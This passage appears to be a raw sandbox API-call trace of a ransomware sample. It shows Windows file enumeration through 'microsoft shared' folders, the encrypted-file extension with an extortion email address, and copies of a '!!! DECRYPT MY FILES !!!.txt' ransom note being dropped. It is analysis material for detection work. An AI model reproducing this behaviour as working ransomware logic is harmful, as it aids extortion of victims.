CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ucrtbase.dll", cchLength=0x46 | out: lpsz="c:\\program files\\common files\\microsoft shared\\clicktorun\\ucrtbase.dll") returned 0x46 [0107.882] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0107.882] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0107.883] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0107.883] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0107.883] FindNextFileW (in: hFindFile=0x6d5240, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80d7a486, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80d7a486, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6c5dd00, ftLastWriteTime.dwHighDateTime=0x1d0c58c, nFileSizeHigh=0x0, nFileSizeLow=0x5f4b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vccorlib140.dll", cAlternateFileName="VCCORL~1.DLL")) returned 1 [0107.883] SysReAllocStringLen (in: pbstr=0x6ebee08*="c:\\program files\\common files\\microsoft shared\\clicktorun\\ucrtbase.dll", psz="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vccorlib140.dll", len=0x49 | out: pbstr=0x6ebee08*="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vccorlib140.dll") returned 1 [0107.883] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vccorlib140.dll", cchLength=0x49 | out: lpsz="c:\\program files\\common files\\microsoft shared\\clicktorun\\vccorlib140.dll") returned 0x49 [0107.883] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0107.883] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0107.883] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0107.883] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0107.883] FindNextFileW (in: hFindFile=0x6d5240, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80d7a486, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80d7a486, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6c5dd00, ftLastWriteTime.dwHighDateTime=0x1d0c58c, nFileSizeHigh=0x0, nFileSizeLow=0x15ab0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcruntime140.dll", cAlternateFileName="VCRUNT~1.DLL")) returned 1 [0107.883] SysReAllocStringLen (in: pbstr=0x6ebee08*="c:\\program files\\common files\\microsoft shared\\clicktorun\\vccorlib140.dll", psz="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vcruntime140.dll", len=0x4a | out: pbstr=0x6ebee08*="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vcruntime140.dll") returned 1 [0107.883] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vcruntime140.dll", cchLength=0x4a | out: lpsz="c:\\program files\\common files\\microsoft shared\\clicktorun\\vcruntime140.dll") returned 0x4a [0107.884] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0107.884] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0107.884] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0107.884] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0107.884] FindNextFileW (in: hFindFile=0x6d5240, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0107.884] FindClose (in: hFindFile=0x6d5240 | out: hFindFile=0x6d5240) returned 1 [0107.884] FindNextFileW (in: hFindFile=0x6d4e00, lpFindFileData=0x6ebf0dc | out: lpFindFileData=0x6ebf0dc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b3dd09, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb3e1c92c, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xb3e1c92c, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ink", cAlternateFileName="")) returned 1 [0107.884] SysReAllocStringLen (in: pbstr=0x6ebee10*=0x0, psz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\", len=0x33 | out: pbstr=0x6ebee10*="C:\\Program Files\\Common Files\\microsoft shared\\ink\\") returned 1 [0107.885] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\", cchLength=0x33 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\") returned 0x33 [0107.885] SysReAllocStringLen (in: pbstr=0x6ebedb8*=0x0, psz="C:\\Users\\FD1HVy\\Desktop\\", len=0x18 | out: pbstr=0x6ebedb8*="C:\\Users\\FD1HVy\\Desktop\\") returned 1 [0107.885] CharLowerBuffW (in: lpsz="C:\\Users\\FD1HVy\\Desktop\\", cchLength=0x18 | out: lpsz="c:\\users\\fd1hvy\\desktop\\") returned 0x18 [0107.885] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\*.*", lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b3dd09, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb3e1c92c, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xb3e1c92c, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6d4ec0 [0107.886] FindNextFileW (in: hFindFile=0x6d4ec0, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b3dd09, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb3e1c92c, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xb3e1c92c, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0107.886] FindNextFileW (in: hFindFile=0x6d4ec0, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d100bae, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xe462e472, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xe462e472, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0xc137d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Alphabet.xml", cAlternateFileName="")) returned 1 [0107.886] SysReAllocStringLen (in: pbstr=0x6ebee08*=0x0, psz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml", len=0x3f | out: pbstr=0x6ebee08*="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 1 [0107.886] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml", cchLength=0x3f | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml") returned 0x3f [0107.886] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0107.886] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0107.887] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0107.887] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0107.887] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebddac, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txt") returned 28 [0107.887] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x64e230, cbMultiByte=17, lpWideCharStr=0x6ebdda8, cchWideChar=2047 | out: lpWideCharStr="TEEWLJH3QNDSEELUTFILES !!!.txt") returned 17 [0107.887] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT", lpFindFileData=0x6ebeb14 | out: lpFindFileData=0x6ebeb14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf971581b, ftCreationTime.dwHighDateTime=0x1d5e216, ftLastAccessTime.dwLowDateTime=0xf971581b, ftLastAccessTime.dwHighDateTime=0x1d5e216, ftLastWriteTime.dwLowDateTime=0xf971581b, ftLastWriteTime.dwHighDateTime=0x1d5e216, nFileSizeHigh=0x0, nFileSizeLow=0x12f, dwReserved0=0x17b3dd09, dwReserved1=0x1d2a02b, cFileName="TEEWLJH3QNDSEELUT", cAlternateFileName="TEEWLJ~1")) returned 0x6d4e40 [0107.887] FindClose (in: hFindFile=0x6d4e40 | out: hFindFile=0x6d4e40) returned 1 [0107.887] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0107.890] GetProcessHeap () returned 0x630000 [0107.890] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6d5000, Size=0x38) returned 0x6d53c0 [0107.890] FindNextFileW (in: hFindFile=0x6d4ec0, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05532b6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ar-SA", cAlternateFileName="")) returned 1 [0107.890] SysReAllocStringLen (in: pbstr=0x6ebeb48*=0x0, psz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ar-SA\\", len=0x39 | out: pbstr=0x6ebeb48*="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ar-SA\\") returned 1 [0107.890] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ar-SA\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\ar-sa\\") returned 0x39 [0107.890] SysReAllocStringLen (in: pbstr=0x6ebeaf0*=0x0, psz="C:\\Users\\FD1HVy\\Desktop\\", len=0x18 | out: pbstr=0x6ebeaf0*="C:\\Users\\FD1HVy\\Desktop\\") returned 1 [0107.890] CharLowerBuffW (in: lpsz="C:\\Users\\FD1HVy\\Desktop\\", cchLength=0x18 | out: lpsz="c:\\users\\fd1hvy\\desktop\\") returned 0x18 [0107.890] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ar-SA\\*.*", lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05532b6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1, dwReserved1=0x6b8, cFileName=".", cAlternateFileName="")) returned 0x6d5240 [0110.341] FindNextFileW (in: hFindFile=0x6d5240, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05532b6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0110.341] FindNextFileW (in: hFindFile=0x6d5240, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3632db, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3632db, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3632db, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0110.341] SysReAllocStringLen (in: pbstr=0x6ebeb40*=0x0, psz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ar-SA\\tipresx.dll.mui", len=0x48 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ar-SA\\tipresx.dll.mui") returned 1 [0110.341] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ar-SA\\tipresx.dll.mui", cchLength=0x48 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\ar-sa\\tipresx.dll.mui") returned 0x48 [0110.341] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0110.341] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0110.341] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0110.341] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0110.341] FindNextFileW (in: hFindFile=0x6d5240, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0110.341] FindClose (in: hFindFile=0x6d5240 | out: hFindFile=0x6d5240) returned 1 [0110.342] FindNextFileW (in: hFindFile=0x6d4ec0, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0553f37, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg-BG", cAlternateFileName="")) returned 1 [0110.342] SysReAllocStringLen (in: pbstr=0x6ebeb48*=0x0, psz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\bg-BG\\", len=0x39 | out: pbstr=0x6ebeb48*="C:\\Program Files\\Common Files\\microsoft shared\\ink\\bg-BG\\") returned 1 [0110.342] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\bg-BG\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\bg-bg\\") returned 0x39 [0110.342] SysReAllocStringLen (in: pbstr=0x6ebeaf0*=0x0, psz="C:\\Users\\FD1HVy\\Desktop\\", len=0x18 | out: pbstr=0x6ebeaf0*="C:\\Users\\FD1HVy\\Desktop\\") returned 1 [0110.342] CharLowerBuffW (in: lpsz="C:\\Users\\FD1HVy\\Desktop\\", cchLength=0x18 | out: lpsz="c:\\users\\fd1hvy\\desktop\\") returned 0x18 [0110.342] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\bg-BG\\*.*", lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0553f37, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6d5400 [0110.342] FindNextFileW (in: hFindFile=0x6d5400, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0553f37, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0110.342] FindNextFileW (in: hFindFile=0x6d5400, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3632db, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3632db, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3632db, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0110.342] SysReAllocStringLen (in: pbstr=0x6ebeb40*=0x0, psz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\bg-BG\\tipresx.dll.mui", len=0x48 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Common Files\\microsoft shared\\ink\\bg-BG\\tipresx.dll.mui") returned 1 [0110.342] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\bg-BG\\tipresx.dll.mui", cchLength=0x48 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\bg-bg\\tipresx.dll.mui") returned 0x48 [0110.343] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0110.343] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0110.343] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0110.343] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0110.343] FindNextFileW (in: hFindFile=0x6d5400, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0110.343] FindClose (in: hFindFile=0x6d5400 | out: hFindFile=0x6d5400) returned 1 [0110.343] FindNextFileW (in: hFindFile=0x6d4ec0, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d126e12, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xe46546cb, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xe46546cb, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x69a5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Content.xml", cAlternateFileName="")) returned 1 [0110.343] SysReAllocStringLen (in: pbstr=0x6ebee08*="c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml", psz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml", len=0x3e | out: pbstr=0x6ebee08*="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 1 [0110.343] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml", cchLength=0x3e | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\content.xml") returned 0x3e [0110.343] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0110.343] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0110.344] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0110.344] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0110.344] GetProcessHeap () returned 0x630000 [0110.344] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6b13b8, Size=0x14) returned 0x6b04b8 [0110.344] FindNextFileW (in: hFindFile=0x6d4ec0, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0554b83, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cs-CZ", cAlternateFileName="")) returned 1 [0110.344] SysReAllocStringLen (in: pbstr=0x6ebeb48*=0x0, psz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\cs-CZ\\", len=0x39 | out: pbstr=0x6ebeb48*="C:\\Program Files\\Common Files\\microsoft shared\\ink\\cs-CZ\\") returned 1 [0110.344] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\cs-CZ\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\cs-cz\\") returned 0x39 [0110.344] SysReAllocStringLen (in: pbstr=0x6ebeaf0*=0x0, psz="C:\\Users\\FD1HVy\\Desktop\\", len=0x18 | out: pbstr=0x6ebeaf0*="C:\\Users\\FD1HVy\\Desktop\\") returned 1 [0110.344] CharLowerBuffW (in: lpsz="C:\\Users\\FD1HVy\\Desktop\\", cchLength=0x18 | out: lpsz="c:\\users\\fd1hvy\\desktop\\") returned 0x18 [0110.344] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\cs-CZ\\*.*", lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0554b83, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6d4f40 [0110.344] FindNextFileW (in: hFindFile=0x6d4f40, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0554b83, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0110.345] FindNextFileW (in: 